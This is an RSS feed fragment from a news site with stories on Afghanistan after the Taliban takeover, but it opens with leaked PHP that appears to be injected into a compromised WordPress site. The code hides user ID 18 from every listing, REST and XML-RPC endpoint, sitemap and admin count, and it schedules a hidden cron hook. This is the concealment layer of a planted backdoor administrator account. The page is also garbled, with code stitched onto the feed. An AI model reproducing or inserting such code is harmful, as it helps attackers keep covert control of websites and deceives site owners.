add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post As Per Former Vice President Amrulla Saleh, Ashraf Ghani’s Escape Ruined Every Surviving Faith appeared first on The Edge Media.
]]>Even if Ghani had been imprisoned by Taliban miscreants, the former Afghan vice president reasoned, it would have served as a “rallying point” for Afghans. Ghani’s capture would have sparked international outrage, and things could have turned out differently.
The post As Per Former Vice President Amrulla Saleh, Ashraf Ghani’s Escape Ruined Every Surviving Faith appeared first on The Edge Media.
]]>The post Afghans are Rushing to Flee the Taliban After Vice President Biden Confirmed the Airlift Deadline appeared first on The Edge Media.
]]>Despite concerns from European allies that not all vulnerable Afghans would be able to leave by August 31, Biden stated Tuesday that the US would keep to its August 31 deadline to entirely withdraw its troops.
The post Afghans are Rushing to Flee the Taliban After Vice President Biden Confirmed the Airlift Deadline appeared first on The Edge Media.
]]>The post Greece calls for a common EU response to the crisis appeared first on The Edge Media.
]]>Greece was on the frontline of Europe’s migration crisis in 2015, when nearly a million people fleeing conflict in Syria, Iraq and Afghanistan landed on its islands, and like other EU member states, it is nervous that developments in Afghanistan could trigger a replay of that crisis.
“We are clearly saying that we will not and cannot be the gateway of Europe for the refugees and migrants who could try to come to the European Union,” Mitarachi told state television ERT.
“We cannot have millions of people leaving Afghanistan and coming to the European Union … and certainly not through Greece,” he said.
EU foreign ministers will hold a crisis meeting on Tuesday to discuss the fall of Afghanistan to the Taliban and Greece has requested that the issue is also discussed at a meeting of EU home affairs ministers on Wednesday.
The solution needs to be common, and it needs to be a European solution,” Mitarachi said. Unity between EU member states over whether to deport failed Afghan asylum-seekers crumbled last week.
(This story has not been edited by The Edge Media staff and is auto-generated from a syndicated feed.)
The post Greece calls for a common EU response to the crisis appeared first on The Edge Media.
]]>